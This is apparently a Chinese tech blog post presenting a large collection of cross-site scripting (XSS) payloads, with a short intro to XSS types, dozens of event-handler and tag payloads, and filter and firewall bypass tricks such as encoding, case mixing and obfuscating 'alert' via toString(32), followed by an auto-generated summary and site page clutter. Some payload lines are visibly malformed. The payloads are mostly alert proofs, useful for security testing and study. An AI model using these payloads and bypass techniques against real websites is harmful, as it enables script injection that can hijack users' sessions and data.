漏洞进阶之——XSS万能超级无敌全通杀payload


——————————————
抱歉起的名字猖狂了点,我认,但我不改
——————————————

XSS 漏洞简介

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

xss 分类:(三类)

反射型XSS:一般容易出现在搜索页面。

存储型XSS:代码是存储在服务器中的

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。

payload——on,js事件

1、onmouseenter:当鼠标进入选区执行代码
<div style="123456</div>

2、onmouseleave:当鼠标离开选区执行代码
<DIV onmouseleave="alert('bem')" style="123456</DIV>

3、onmousewheel:当鼠标在选区滚轮时执行代码
<DIV onmousewheel="alert('bem')" style="123456</DIV>

4、onscroll:拖动滚动条执行代码
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert('bem')">123456
</div>

5、onfocusin:当获得焦点时执行代码
<div contentEditable="true" style="asdf</div>

6、onfocusout:当失去焦点时执行代码
<div contentEditable="true" style="asdf</div>

7、onstart:当显示内容时执行代码
<marquee style="background-color:red" onstart="alert('bem')" >asdf</marquee>

8、onbeforecopy:选中内容后右键执行代码
<div style="" onbeforecopy="alert('bem')" >asdf</div>

9、onbeforecut:选中内容后右键执行代码
<div style="" onbeforecut="alert('bem')" >asdf</div>

10、onbeforeeditfocus:当获得焦点时执行代码
<div style="" contentEditable="true" onbeforeeditfocus="alert('bem')" >asdf</div>

11、onbeforepaste:选中内容后右键执行代码
<div style="" ="true" onbeforepaste="alert('bem')" >asdf</div>

12、oncontextmenu:鼠标右键执行代码
<div style="" oncontextmenu="alert('bem')" >asdf</div>

13、oncopy:鼠标右键执行复制时执行代码
<div style="" oncopy="alert('bem')" >asdf</div>

14、oncut:鼠标右键执行剪切时执行代码
<div contentEditable="true" style="" oncut="alert('bem')" >asdf</div>

15、ondrag:选择内容并拖动时执行代码
<div style="" ondrag="alert('bem')" >asdf</div>

16、ondragend:选择内容并拖动松开鼠标执行代码
<div style="" ondragend="alert('bem')" >asdf</div>

17、ondragenter:选择内容并拖动时执行代码
<div style="" ondragenter="alert('bem')" >asdf</div>

18、ondragleave:选择内容并拖出边框执行代码
<div contentEditable="true" style="" ondragleave="alert('bem')" >asdf</div>

19、ondragover:选择内容并拖动时执行代码
<div contentEditable="true" style="" ondragover="alert('bem')" >asdf</div>

20、ondragstart:选择内容并拖动时执行代码
<div contentEditable="true" style="" ondragstart="alert('bem')" >asdf</div>

21、ondrop:有内容被拖动进来时执行代码
<div contentEditable="true" style="" ondrop="alert('bem')" >asdf</div>
<div contentEditable="true" style="" ondrop="alert('bem')" >asdf</div>

22、onlosecapture:选择内容时执行代码
<div contentEditable="true" style="" onlosecapture="alert('bem')" >asdf</div>

23、onpaste:粘贴时执行代码
<div contentEditable="true" style="" onpaste="alert('bem')" >asdf</div>

24、onselectstart:选择内容时执行代码
<div contentEditable="true" style="" onselectstart="alert('bem')" >asdf</div>

25、onhelp:进入焦点按F1时执行代码
<div contentEditable="true" style="" onhelp="alert('bem')" >asdf</div>

26、onEnd:当时间线执行完毕时执行代码
<div STYLE="behavior:url('#default#time2')" onEnd="alert('bem')">asdf</div>

27、onBegin:当时间线开始执行代码
<div STYLE="behavior:url('#default#time2')" onBegin="alert('bem')">asdf</div>

28、onactivate:激活当前标签时执行代码
<div contentEditable="true" STYLE="" onactivate="alert('bem')">asdf</div>

29、onfilterchange:当滤镜改变时执行代码
<div contentEditable="true" STYLE="filter: Alpha(opacity=100, style=2);" onfilterchange="alert('bem')">asdf</div>

30、onbeforeactivate:当激活当前标签时执行代码
<div contentEditable="true" STYLE="" onbeforeactivate="alert('bem')">asdf</div>

31、onbeforedeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="" onbeforedeactivate="alert('bem')">asdf</div>

32、ondeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="" ondeactivate="alert('bem')">asdf</div>

payload——标签

<a>标签
<a href=javascript:alert(1)>111</a>

<img>标签
<img src=https://www.baidu.com/img/flexible/logo/pc/result.png>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>

<input>标签
<input onmouseover=alert(1) />

<script>标签
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>

payload——过狗过墙思路

alert被过滤,可以prompt、confirm、console.log替换使用:
如果都被过滤,可以换个方式绕过

onmouseover=top[11189117..toString(32)](2222)
onmouseover=top[11189117..toString(32)](2222)
onmouseover="setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))"

本人常用payload分享

本人常用payload分享

onmousemove=top[11189117..toString(32)](2222)
onmouseover=top[11189117..toString(32)](2222)
onclick=……………………等等
onmousemove='alert(1111)'a="
<script>top[11189117..toString(32)](2222)</script>
<ScRiPt>top[11189117..toString(32)](2222)</ScRiPt>
%3cscript%3ealert(1111)%3c/script%3e
<Script>\u0061\u006C\u0065\u0072\u0074(1111)</Script>

<img src=java\0script:alert`1111`>
<img src=x onerror=alert`1111`>
%3Cimg+src%3Dx+onerror%3Dtop[11189117..toString(32)]%601111%60%3E


1、如果()被过滤,可以用//和``替代
2、如果<>被过滤,可以用%3c和%3e替代
3、如果‘“引号被过滤,可以用%27或%22替代
4、如果alert等被过滤,可以用其他方式代替,或者编码,或者上面提到的那些事件
5、如果scrip被过滤,可以用a标签或者img或者input标签替代绕过

姿势千奇百怪,如果大家有绕不过的xss可以私信留言找我,大家一起参考学习

  • 5
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
XSS漏洞是一种常见的网络安全漏洞,攻击者可以通过在网页中注入恶意的脚本代码来获取用户的敏感信息或者执行恶意操作。手工构造XSS payload是指攻击者通过编写特定的恶意代码来利用XSS漏洞。 在构造XSS payload时,攻击者通常会利用一些特殊的字符或者代码来绕过网站的过滤机制,使恶意代码能够被执行。一些常见的XSS payload包括但不限于以下几种: 1. `<script>alert('XSS')</script>`:这是最简单的XSS payload,它会在网页中弹出一个提示框。 2. `<img src="x" onerror="alert('XSS')">`:这个payload利用了`<img>`标签的`onerror`事件,当图片加载失败时会执行其中的代码。 3. `<svg/onload=alert('XSS')>`:这个payload利用了SVG标签的`onload`事件,当SVG图像加载完成时会执行其中的代码。 4. `javascript:alert('XSS')`:这个payload利用了JavaScript伪协议,直接在URL中执行JavaScript代码。 需要注意的是,构造XSS payload是一种攻击行为,严禁利用这些技术进行非法攻击。本文提到的payload仅供学习和研究用途,请遵守法律法规,不要进行任何违法行为。 #### 引用[.reference_title] - *1* *2* *3* [反射型XSS、存储型XSS和DOM型XSS的简介及XSS常见payload构造及变形](https://blog.csdn.net/bwxzdjn/article/details/123645177)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

征__程

多动手,避免老年痴呆,活跃身心

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值